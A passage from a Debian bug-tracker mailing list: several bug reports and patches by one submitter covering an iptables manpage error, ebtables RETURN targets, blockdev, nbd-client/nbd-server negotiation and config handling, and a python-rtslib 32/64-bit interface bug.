Debian Release: 7.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages dpkg depends on:
ii  libbz2-1.0   1.0.6-4
ii  libc62.13-37
ii  liblzma5 5.1.1alpha+20120614-2
ii  libselinux1  2.1.9-5
ii  tar  1.26+dfsg-0.1
ii  zlib1g   1:1.2.7.dfsg-13

dpkg recommends no packages.

Versions of packages dpkg suggests:
ii  apt  0.9.7.7

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#699904: iptables: Error in manpage section for string extension

[Rogier]

Package: iptables
Version: 1.4.14-3
Severity: minor

Dear Maintainer,

The manual page for iptables (or iptables-extensions in the newest
version) does not correctly document the string extension.

The manual page states that a hex-string can be specified using
the option '--hex-string'. However, specifying a sequence of hex chars
just makes it a regular string instead:

# iptables -t filter --append INPUT -m string --algo bm --hex-string 
"010203" --jump DROP
# iptables -S INPUT
-A INPUT -m string --string "010203" --algo bm --to 65535 -j DROP

It appears that --hex-string is just like --string, except that
it interprets (only) characters between '|'-characters as a hex string:

# iptables -t filter --append INPUT -m string --algo bm --hex-string 
"$(printf "\1\2\3")" --jump DROP
# iptables -S INPUT
-A INPUT -m string --hex-string "|010203|" --algo bm --to 65535 -j DROP
# iptables -t filter -A INPUT -m string --hex-string "|040506|" --algo 
bm --to 65535 -j DROP
# iptables -t filter -A INPUT -m string --hex-string "0|00|1|01|" 
--algo bm --to 65535 -j DROP
-A INPUT -m string --hex-string "|010203|" --algo bm --to 65535 -j DROP
-A INPUT -m string --hex-string "|040506|" --algo bm --to 65535 -j DROP
-A INPUT -m string --hex-string "|30003101|" --algo bm --to 65535 -j 
DROP

Regular '|' and '\' characters that are part of the --hex-string
pattern can be escaped using '\'.

Kind regards,

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages iptables depends on:
ii  libc6  2.13-37
ii  libnfnetlink0  1.0.0-1

iptables recommends no packages.

iptables suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#614746: ebtables: 32-bit package is not compatible with 64-bit kernel

[Rogier]

Hi,

I don't know if there is a good reason to keep this bug open, but
for the current version (2.0.10.4-1) of ebtables, the 32-bit package 
works fine on top of my 64 bit kernel.

So, as far as I am concerned, the bug can be closed.

Kind regards,

Rogier.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#699827: ebtables: --xxxx-target RETURN is not accepted in non-base chains

[Rogier]

Package: ebtables
Version: 2.0.10.4-1
Severity: normal
Tags: patch

Dear Maintainer,

ebtables does not accept RETURN as a target in ---target
(.e.g --dnat-target, --mark-target). even if the rule is entered
in a non-base chain, and '--jump RETURN' is accepted for that
same chain.

For instance, when executing the following commands:
modprobe ebt_dnat
modprobe ebt_mark

ebtables -t nat --flush PREROUTING
ebtables -t nat --delete-chain MYCHAIN

ebtables -t nat --new-chain MYCHAIN
ebtables -t nat --policy MYCHAIN ACCEPT
ebtables -t nat --append PREROUTING --jump MYCHAIN

set -x
ebtables -t nat --append MYCHAIN --jump RETURN
ebtables -t nat --append MYCHAIN --jump dnat --to-destination 
11:11:11:11:11:11 --dnat-target RETURN
ebtables -t nat --append MYCHAIN --jump mark --mark-set 0x00 
--mark-target RETURN
The output is:
++ ebtables -t nat --append MYCHAIN --jump RETURN
++ ebtables -t nat --append MYCHAIN --jump dnat --to-destination 
11:11:11:11:11:11 --dnat-target RETURN
--dnat-target RETURN not allowed on base chain.
++ ebtables -t nat --append MYCHAIN --jump mark --mark-set 0x00 
--mark-target RETURN
--mark-target RETURN not allowed on base chain.
while, obviously, RETURN *should* be accepted as target in these
cases.

Any extension module that is invoked using --jump, and allows
a 'real' target to be specified probably suffers from the same
problem. In effect, the RETURN target cannot be used with such
modules, and a separate rule has to be created instead.

I have created the patch below that seems to solve the problem.
I have tested it with the commands above, which succeed. Also,
inserting a RETURN target in one of the base chains still fails.

Kind regards,

Rogier.

--
--- ebtables-2.0.10.4/libebtc.c 2011-12-15 21:02:47.0 +0100
+++ ebtables-2.0.10.4-patch/libebtc.c   2013-02-05 17:44:04.0 +0100
@@ -1102,7 +1102,7 @@
/* check if we've dealt with this chain already */
if (entries2->hook_mask & (1<hook_mask |= entries->hook_mask;
+   entries2->hook_mask |= entries->hook_mask & ~(1 << 
NF_BR_NUMHOOKS);
/* Jump to the chain, make sure we know how to get back 
*/
stack[sp].chain_nr = chain_nr;
stack[sp].n = j;
--


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages ebtables depends on:
ii  libc6  2.13-37

Versions of packages ebtables recommends:
ii  iptables   1.4.14-3
ii  module-init-tools  9-2

ebtables suggests no packages.

-- no debconf information

-- debsums errors found:
debsums: changed file /lib/ebtables/libebtc.so (from ebtables package)


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#699376: util-linux: blockdev --report fails on non-harddisk devices

[Rogier]

Package: util-linux
Version: 2.20.1-5.3
Severity: normal

Dear Maintainer,

Blockdev --report fails on non-harddisk devices (NBD, loop, ...):
nasc0:root ~ 277 # blockdev --report /dev/nbd0 /dev/loop0
RORA   SSZ   BSZ   StartSecSize   Device
blockdev: ioctl error on /dev/nbd0
blockdev: ioctl error on /dev/loop0

The problem appears to be that blockdev attempts to obtain
the device's geometry, which does not apply to such devices:
From disk-utils/blockdev.c:
[snip]
if (ioctl(fd, BLKROGET, &ro) == 0 &&
ioctl(fd, BLKRAGET, &ra) == 0 &&
ioctl(fd, BLKSSZGET, &ssz) == 0 &&
ioctl(fd, BLKBSZGET, &bsz) == 0 &&
>   ioctl(fd, HDIO_GETGEO, &g) == 0 &&
blkdev_get_size(fd, &bytes) == 0) {
printf("%s %5ld %5d %5d %10ld %15lld   %s\n",
   ro ? "ro" : "rw", ra, ssz, bsz, g.start, bytes, device);
[snip]

Kind regards,

Rogier.

-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages util-linux depends on:
ii  debconf [debconf-2.0]  1.5.46
ii  dpkg   1.16.9
ii  initscripts2.88dsf-34
ii  install-info   4.13a.dfsg.1-10
ii  libblkid1  2.20.1-5.2
ii  libc6  2.13-37
ii  libncurses55.9-10
ii  libselinux12.1.9-5
ii  libslang2  2.2.4-15
ii  libtinfo5  5.9-10
ii  libuuid1   2.20.1-5.2
ii  lsb-base   4.1+Debian8
ii  tzdata 2012g-1
ii  zlib1g 1:1.2.7.dfsg-13

util-linux recommends no packages.

Versions of packages util-linux suggests:
ii  dosfstools  3.0.13-1
ii  kbd 1.15.3-9
pn  util-linux-locales  

-- debconf information:
  util-linux/noauto-with-nonzero-passnum:


--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#699374: nbd-server reports 'negotiation failed' after 'nbd-client -l', and fails on next connection

[Rogier]

Package: nbd-server
Version: 1:3.2-2
Severity: important
Tags: patch

Dear Maintainer,

When a client requests an export list from the server,
the latter issues the message 'Error: negotiation failed'.
This is rather confusing, as the only 'problem' is (AFAICT)
that the negotiation phase did everything.

On a subsequent attempt to connect a block device, the server
fails altogether:
Client output:

nasc0:root ~ 216 # /tmp/nbd-client.master -l nass0
Negotiation: ..
nasc0-nbd0
nasc0:root ~ 217 # /tmp/nbd-client.master nass0 -N nasc0-nbd0 /dev/nbd0
Negotiation: ..size = 856941734MBError: Exported device is too big for 
me. Get 64-bit machine :-(

Exiting.

Server output:

nass0:root ~ 135 # /tmp/nbd-server.master -d -C /etc/nbd-server/config
Error: negotiation failed
Exiting.
Error: Read failed: Connection reset by peer
Exiting.

From a tcpdump, it can be observed that the syslog messages end up
on the client socket, which makes the client choke, naturally. 

I tested this for the latest git version, and the same problem
occurs. I have traced the problem to the fact that negotiate(),
in two locations, closes the socket, and returns NULL , after which
serveloop also closes it, actually closing the syslog socket instead.
The next accept() returns that same filedescriptor, which syslog()
still thinks it owns.

I'm attaching a patch against git revision
902c07e75f12459c55d79f450a0fb9c1e7da02e5, which improves the error
reporting, and fixes the failure for the connect after the LIST.

Note: I added the message 'Session terminated by client', because
the 'ABORT' might also be intended to be used as an irregular
end-of-session (in the future?), besides indicating a regular
end-of-session after a LIST.

Kind regards,

Rogier.


diff --git a/nbd-server.c b/nbd-server.c
index 69ee2a4..e905281 100644
--- a/nbd-server.c
+++ b/nbd-server.c
@@ -1532,13 +1532,18 @@ static CLIENT* handle_export_name(uint32_t opt, int 
net, GArray* servers, uint32
char* name;
int i;
 
-   if (read(net, &namelen, sizeof(namelen)) < 0)
+   if (read(net, &namelen, sizeof(namelen)) < 0) {
err("Negotiation failed/7: %m");
+   return NULL;
+   }
namelen = ntohl(namelen);
name = malloc(namelen+1);
name[namelen]=0;
-   if (read(net, name, namelen) < 0)
+   if (read(net, name, namelen) < 0) {
err("Negotiation failed/8: %m");
+   free(name);
+   return NULL;
+   }
for(i=0; ilen; i++) {
SERVER* serve = &(g_array_index(servers, SERVER, i));
if(!strcmp(serve->servename, name)) {
@@ -1553,6 +1558,7 @@ static CLIENT* handle_export_name(uint32_t opt, int net, 
GArray* servers, uint32
return client;
}
}
+   err("Negotiation failed/8a: Requested export not found");
free(name);
return NULL;
 }
@@ -1639,7 +1645,7 @@ CLIENT* negotiate(int net, CLIENT *client, GArray* 
servers, int phase) {
err_nonfatal("Negotiation failed/5: %m");
magic = ntohll(magic);
if(magic != opts_magic) {
-   close(net);
+   err_nonfatal("Negotiation failed/5a: magic 
mismatch");
return NULL;
}
if (read(net, &opt, sizeof(opt)) < 0)
@@ -1664,7 +1670,7 @@ CLIENT* negotiate(int net, CLIENT *client, GArray* 
servers, int phase) {
}
} while((opt != NBD_OPT_EXPORT_NAME) && (opt != NBD_OPT_ABORT));
if(opt == NBD_OPT_ABORT) {
-   close(net);
+   err_nonfatal("Session terminated by client");
return NULL;
}
}
@@ -2305,7 +2311,6 @@ void serveloop(GArray* servers) {
}
client = negotiate(net, NULL, servers, NEG_INIT 
| NEG_MODERN);
if(!client) {
-   err_nonfatal("negotiation failed");
close(net);
continue;
}


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_

Bug#699373: nbd-client gives cryptic error message with new-style server

[Rogier]

Package: nbd-client
Version: 1:3.2-2
Severity: normal
Tags: patch

Dear Maintainer,

When trying to connect to a new-style nbd server without
specfying an export name (which is required), the client issues
a cryptic message, and quits:
nasc0:root ~ 134 # nbd-client nass0 10809 /dev/nbd0
Negotiation: .Error: Not enough cliserv_magic
Exiting.

The problem is, that, given an export name, nbd-client assumes
it is connecting to a new-style server. Without an export name,
it assumes it has an old-style server. In both cases, the magic
number does not match if the assumption was incorrect, resulting
in a cryptic error message.

I am attaching a patch relative to
902c07e75f12459c55d79f450a0fb9c1e7da02e5 that fixes the problem.

The patch reverses the checks: first the magic is checked to
determine the kind of server, then either the availability of
an export name is checked for new-style servers (and the client
complains if there is none), or nothing special is done for
old-style servers.

For old-style servers, this patch assumes a 'compatibility mode',
accepting the export name, but not using it. An alternative would
be for nbd-client to fail, complaining that an old-style server
does not support named exports. E.g.:

+   if (name) {
+   fprintf(stderr, "\nE: Export names not supported by 
server\n");
+   exit(EXIT_FAILURE);
+   }

Kind regards,

Rogier


diff --git a/nbd-client.c b/nbd-client.c
index 1445621..0ac0587 100644
--- a/nbd-client.c
+++ b/nbd-client.c
@@ -235,12 +235,15 @@ void negotiate(int sock, u64 *rsize64, u32 *flags, char* 
name, uint32_t needed_f
if (read(sock, &magic, sizeof(magic)) < 0)
err("Failed/2: %m");
magic = ntohll(magic);
-   if(name) {
+   if(magic == opts_magic) {
uint32_t opt;
uint32_t namesize;
 
-   if (magic != opts_magic)
-   err("Not enough opts_magic");
+   if (!name) {
+   fprintf(stderr, "\nE: Server uses named exports - 
export name is required\n");
+   exit(EXIT_FAILURE);
+   }
+
printf(".");
if(read(sock, &tmp, sizeof(uint16_t)) < 0) {
err("Failed reading flags: %m");
@@ -277,10 +280,10 @@ void negotiate(int sock, u64 *rsize64, u32 *flags, char* 
name, uint32_t needed_f
err("Failed/2.4: %m");
if (write(sock, name, strlen(name)) < 0)
err("Failed/2.4: %m");
-   } else {
-   if (magic != cliserv_magic)
-   err("Not enough cliserv_magic");
+   } else if (magic == cliserv_magic) {
printf(".");
+   } else {
+   err("No opts_magic or cliserv_magic");
}
 
if (read(sock, &size64, sizeof(size64)) <= 0) {


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages nbd-client depends on:
ii  debconf [debconf-2.0]  1.5.46
ii  initscripts2.88dsf-34
ii  libc6  2.13-37

nbd-client recommends no packages.

nbd-client suggests no packages.

-- debconf information excluded


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#699372: nbd-client: Change init script and config file to better deal with NBD_NAME

[Rogier]

Package: nbd-client
Version: 1:3.2-2
Severity: minor
Tags: patch

Dear Maintainer,

Please consider making the following changes (in this form, or another)
to the init script and config file.

The config file change's purpose is mostly documenting the existence
of NBD_NAME, and the fact NBD_PORT is optional with NBD_NAME.

The init script change allows NBD_PORT to be unspecified (i.e. default),
and complains if both NBD_PORT and NBD_NAME are missing.
Without this change, the init script fails if NBD_PORT is empty or unset.

Kind regards,

Rogier.

Change 1: nbd-client config file
---
--- /usr/share/nbd-client/nbd-client.cf.orig2012-12-20 22:47:53.0 
+0100
+++ /usr/share/nbd-client/nbd-client.cf 2013-01-30 14:36:05.0 +0100
@@ -18,16 +18,20 @@
 # The host on which the nbd-server process is running
 NBD_HOST[0]=
 #
-# The port on which this client needs to connect
+# The port on which this client needs to connect. Optional for
+# new-style exports (which use a single port, and export names).
 NBD_PORT[0]=
 #
+# The name of the export. Required for new-style exports.
+NBD_NAME[0]=
+#
 # Any extra parameters you would want to specify
 NBD_EXTRA[0]=
 # The second networked block device could look like:
 # NBD_DEVICE[1]=/dev/nbd1
 # NBD_TYPE[1]="f"
 # NBD_HOST[1]="localhost"
-# NBD_PORT[1]="1235"
+# NBD_NAME[1]="disk1"
 #
 # You can add as many as you want, but don't skip any number in the variable
 # names, or the initscript will fail.
---

Change 2: init script
---
--- /etc/init.d/nbd-client.orig  2013-01-30 10:37:35.0 +0100
+++ /etc/init.d/nbd-client  2013-01-30 14:21:12.0 +0100
@@ -105,17 +105,16 @@
  then
echo "${NBD_DEVICE[$i]} already connected, skipping..."
  else
-   if [ ! -z "${NBD_NAME[$i]}" ]
+   if [ -z "${NBD_NAME[$i]}" -a -z "${NBD_PORT[$i]}" ]
then
-   name="-N ${NBD_NAME[$i]}"
+   echo "Either NBD_NAME or NBD_PORT must be specified for 
${NBD_DEVICE[$i]}"
else
-   name=""
-   fi
-   if $DAEMON "${NBD_HOST[$i]}" $name "${NBD_PORT[$i]}" 
"${NBD_DEVICE[$i]}" ${NBD_EXTRA[$i]}
-   then
-   echo "connected ${NBD_DEVICE[$i]}"
-   else
-   echo "could not connect ${NBD_DEVICE[$i]}"
+   if $DAEMON "${NBD_HOST[$i]}" ${NBD_NAME[$i]:+-N 
"${NBD_NAME[$i]}"} ${NBD_PORT[$i]:
+"${NBD_PORT[$i]}"} "${NBD_DEVICE[$i]}" ${NBD_EXTRA[$i]}
+   then
+   echo "connected ${NBD_DEVICE[$i]}"
+   else
+   echo "could not connect ${NBD_DEVICE[$i]}"
+   fi
fi
  fi
  i=$(($i + 1))
---


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages nbd-client depends on:
ii  debconf [debconf-2.0]  1.5.46
ii  initscripts2.88dsf-34
ii  libc6  2.13-37

nbd-client recommends no packages.

nbd-client suggests no packages.

-- debconf information excluded


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#699371: nbd-client manpage issues

[Rogier]

Package: nbd-client
Version: 1:3.2-1.1
Severity: minor

Dear Maintainer,

I am creating an NBD configuration, and it seems that
nbd-client and its manpage have gotten slightly out of sync.

I found the following issues:

- nbd-client -l accepts an optional port number, which is
  necessary if the server uses a non-standard port. The manual
  page does not mention this. The synopsis should read:
nbd-client -l host [port]

- option --name:
  The manual page currently says that --name is required
  if and only if no port is specified. However:
  - In fact, it is required for new-style servers using export names.
  - It *can* be used together with a port number, if the
new-style server uses export names and runs on a nonstandard
port.

Kind regards,

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages nbd-client depends on:
ii  debconf [debconf-2.0]  1.5.46
ii  initscripts2.88dsf-34
ii  libc6  2.13-37

nbd-client recommends no packages.

nbd-client suggests no packages.

-- debconf information excluded


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#698870: nbd-server: Error in config file causes failure with confusing message

[Rogier]

Ho Wouter,

Thanks for you reply,

> I'd appreciate it if you could update against the latest upstream.
> I'd do it myself, but I don't have much time these days

Hereby a patch, relative to the latest (?) git tree:

Regards,

Rogier.

--
diff --git a/nbd-server.c b/nbd-server.c
index feb0ca6..e7734ce 100644
--- a/nbd-server.c
+++ b/nbd-server.c
@@ -904,8 +904,7 @@ GArray* parse_cfile(gchar* f, struct generic_conf *const 
genconf, GError** e) {
cfile = g_key_file_new();
retval = g_array_new(FALSE, TRUE, sizeof(SERVER));
if(!g_key_file_load_from_file(cfile, f, G_KEY_FILE_KEEP_COMMENTS |
-   G_KEY_FILE_KEEP_TRANSLATIONS, &err)) {
-   g_set_error(e, NBDS_ERR, NBDS_ERR_CFILE_NOTFOUND, "Could not 
open config file %s.", 
f);
+   G_KEY_FILE_KEEP_TRANSLATIONS, e)) {
g_key_file_free(cfile);
return retval;
}
@@ -2702,6 +2701,7 @@ int main(int argc, char *argv[]) {
GArray *servers;
GError *err=NULL;
 struct generic_conf genconf;
+   bool error_reported=false;
 
 memset(&genconf, 0, sizeof(struct generic_conf));
 
@@ -2752,10 +2752,11 @@ int main(int argc, char *argv[]) {
}
 
if(!servers || !servers->len) {
-if(err && !(err->domain == NBDS_ERR
-&& err->code == NBDS_ERR_CFILE_NOTFOUND)) {
+if(err && !(err->domain == G_FILE_ERROR
+&& err->code == G_FILE_ERROR_NOENT)) {
g_warning("Could not parse config file: %s", 
err ? err->message : "Unknown error");
+   error_reported=true;
}
}
if(serve) {
@@ -2764,7 +2765,8 @@ int main(int argc, char *argv[]) {
}
 
if((!serve) && (!servers||!servers->len)) {
-   g_message("No configured exports; quitting.");
+   if (!error_reported)
+   g_message("No configured exports; quitting.");
exit(EXIT_FAILURE);
}
if (!dontfork)

--


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#698873: python-rtslib: list_eth_names fails with 32-bit userland on 64-bit kernel

[Rogier]

Package: python-rtslib
Severity: normal

Dear Maintainer,

My nas is running a 64-bit kernel with a 32-bit userland environment.
When trying to add an IP address to a portal, it fails with a python
traceback, and the complaint that I should specify a valid interface
name.

I have done some investigation, and I traced the problem to the fact
that list_eth_names uses the architecture from uname to determine
the kind of kernel interface, and that uname reports x86_64, because
the kernel is 64 bit. As the userland (i.e. the python) is 32 bit,
list_eth_names interprets the results incorrectly.

Below is a the targetcli output. It includes output from some
instrumentation I added to aid in diagnosing the problem.

As an aside: not all 64-bit architectures include the suffix
'64' in their name. alpha and s390x are two examples. The test
is therefore not portable, and can fail even on 100% (kernel
and userland) 64 bit machines.

Kind regards,

Rogier.

targetcli output:

/iscsi/iqn.20...tpgt1/portals> create 192.168.4.96
Using default IP port 3260
list_eth_ips: interfaces requested:None
list_eth_names: uname: x86_64; offset is: 40
list_eth_names: interface list assuming a 32-bit environment: ['lo', 'eth0', 
'eth1']
list_eth_names: interface list assuming a 64-bit environment: ['lo', '', '\x02']
list_eth_ips: interface list:['', '\x02']
Traceback (most recent call last):
  File "/usr/lib/python2.7/dist-packages/configshell/shell.py", line 983, in 
run_interactive
self._cli_loop()
  File "/usr/lib/python2.7/dist-packages/configshell/shell.py", line 806, in 
_cli_loop
self.run_cmdline(cmdline)
  File "/usr/lib/python2.7/dist-packages/configshell/shell.py", line 927, in 
run_cmdline
self._execute_command(path, command, pparams, kparams)
  File "/usr/lib/python2.7/dist-packages/configshell/shell.py", line 902, in 
_execute_command
result = target.execute_command(command, pparams, kparams)
  File "/usr/lib/python2.7/dist-packages/targetcli/ui_node.py", line 85, in 
execute_command
pparams, kparams)
  File "/usr/lib/python2.7/dist-packages/configshell/node.py", line 1405, in 
execute_command
result = method(*pparams, **kparams)
  File "/usr/lib/python2.7/dist-packages/targetcli/ui_target.py", line 918, in 
ui_command_create
elif ip_address not in utils.list_eth_ips():
  File "/usr/lib/python2.7/dist-packages/rtslib/utils.py", line 706, in 
list_eth_ips
ifaddresses = netifaces.ifaddresses(iface)
ValueError: You must specify a valid interface name.
/iscsi/iqn.20...tpgt1/portals> 



-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#698757: Info received (python-rtslib: list_eth_names fails with 32-bit userland on 64-bit kernel)

[Rogier]

My previous message was obviously not meant as an 
addition to this bug. My apologies for mistakenly
sending it to the wrong address.

Rogier.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#698870: nbd-server: Error in config file causes failure with confusing message

[Rogier]

Package: nbd-server
Version: 1:3.2-1.1
Severity: normal
Tags: patch

Dear Maintainer,

While working with nbd-server, I tried to allow the clients to
fetch a list of exports. After including the following in the
generic section of /etc/nbd-server/config:
[generic]
# other lines ...
allowlist
nbd-server refused to start, complaining there were no configured
exports, even though there were:
nass0:root ~ 17 # nbd-server -d 
** Message: No configured exports; quitting.

Obviously, the line should read 'allowlist = 1', but It would be
helpful if nbd-server detected the error, and complained about
that instead of (apparently) ignoring the rest of the config file,
and issuing the confusing complaint about no configured exports.

I also tried 'allowlist = yes'. In that case it gives a
descriptive message, although it still confusingly and incorrectly
complains that there are no exports:
nass0:root ~ 14 # nbd-server -d 

** (process:3482): WARNING **: Could not parse config file: Could not 
parse allowlist in group 
generic: Key file contains key 'allowlist' which has a value that cannot be 
interpreted.
** Message: No configured exports; quitting.

The cause seems to be that g_key_file_load_from_file fails not only
if the file cannot be found or read, but also if it contains syntax
errors.

I am attaching a patch that fixes the problem: it reports the config file
error, and it no longer also complains that no exports were configured.
With the patch, nbd-server reports:
nass0:root ~ 35 # /tmp/nbd-server -d 

** (process:3609): WARNING **: Could not parse config file: Key file 
contains line '
allowlist' which is not a key-value pair, group, or comment

Kind regards,

Rogier.

Patch:
--
--- nbd-3.2/nbd-server.c2012-07-03 22:54:53.0 +0200
+++ nbd-3.2-patch/nbd-server.c  2013-01-24 19:19:04.0 +0100
@@ -899,8 +899,7 @@
cfile = g_key_file_new();
retval = g_array_new(FALSE, TRUE, sizeof(SERVER));
if(!g_key_file_load_from_file(cfile, f, G_KEY_FILE_KEEP_COMMENTS |
-   G_KEY_FILE_KEEP_TRANSLATIONS, &err)) {
-   g_set_error(e, errdomain, CFILE_NOTFOUND, "Could not open 
config file %s.", f);
+   G_KEY_FILE_KEEP_TRANSLATIONS, e)) {
g_key_file_free(cfile);
return retval;
}
@@ -2597,6 +2596,7 @@
SERVER *serve;
GArray *servers;
GError *err=NULL;
+   bool error_reported=false;
 
if (sizeof( struct nbd_request )!=28) {
fprintf(stderr,"Bad size of structure. Alignment problems?\n");
@@ -2640,10 +2640,11 @@
}
 
if(!servers || !servers->len) {
-   if(err && !(err->domain == g_quark_from_string("parse_cfile")
-   && err->code == CFILE_NOTFOUND)) {
+   if(err && !(err->domain == G_FILE_ERROR
+   && err->code == G_FILE_ERROR_NOENT)) {
g_warning("Could not parse config file: %s", 
err ? err->message : "Unknown error");
+   error_reported=true;
}
}
if(serve) {
@@ -2652,7 +2653,8 @@
}
 
if((!serve) && (!servers||!servers->len)) {
-   g_message("No configured exports; quitting.");
+   if (!error_reported)
+   g_message("No configured exports; quitting.");
exit(EXIT_FAILURE);
}
if (!dontfork)
--

-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages nbd-server depends on:
ii  adduser3.113+nmu3
ii  debconf [debconf-2.0]  1.5.46
ii  libc6  2.13-37
ii  libglib2.0-0   2.33.12+really2.32.4-3
ii  ucf3.0025+nmu3

nbd-server recommends no packages.

nbd-server suggests no packages.

-- debconf information excluded


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#698757: python-rtslib: list_eth_names fails with 32-bit userland on 64-bit kernel

[Rogier]

Package: python-rtslib
Severity: normal

Dear Maintainer,

My nas is running a 64-bit kernel with a 32-bit userland environment.
When trying to add an IP address to a portal, it fails with a python
traceback, and the complaint that I should specify a valid interface name.

I have done some investigation, and I traced the problem to the fact
that list_eth_names uses the architecture from uname to determine
the kind of kernel interface, and that uname reports x86_64, because
the kernel is 64 bit.

Below is a the targetcli output. It includes output from some instrumentation
I added to aid in diagnosing the problem.

Kind regards,

Rogier.

targetcli output:

/iscsi/iqn.20...tpgt1/portals> create 192.168.4.96
Using default IP port 3260
list_eth_ips: interfaces requested:None
list_eth_names: uname: x86_64; offset is: 40
list_eth_names: interface list assuming a 32-bit environment: ['lo', 'eth0', 
'eth1']
list_eth_names: interface list assuming a 64-bit environment: ['lo', '', '\x02']
list_eth_ips: interface list:['', '\x02']
Traceback (most recent call last):
  File "/usr/lib/python2.7/dist-packages/configshell/shell.py", line 983, in 
run_interactive
self._cli_loop()
  File "/usr/lib/python2.7/dist-packages/configshell/shell.py", line 806, in 
_cli_loop
self.run_cmdline(cmdline)
  File "/usr/lib/python2.7/dist-packages/configshell/shell.py", line 927, in 
run_cmdline
self._execute_command(path, command, pparams, kparams)
  File "/usr/lib/python2.7/dist-packages/configshell/shell.py", line 902, in 
_execute_command
result = target.execute_command(command, pparams, kparams)
  File "/usr/lib/python2.7/dist-packages/targetcli/ui_node.py", line 85, in 
execute_command
pparams, kparams)
  File "/usr/lib/python2.7/dist-packages/configshell/node.py", line 1405, in 
execute_command
result = method(*pparams, **kparams)
  File "/usr/lib/python2.7/dist-packages/targetcli/ui_target.py", line 918, in 
ui_command_create
elif ip_address not in utils.list_eth_ips():
  File "/usr/lib/python2.7/dist-packages/rtslib/utils.py", line 706, in 
list_eth_ips
ifaddresses = netifaces.ifaddresses(iface)
ValueError: You must specify a valid interface name.
/iscsi/iqn.20...tpgt1/portals> 



-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
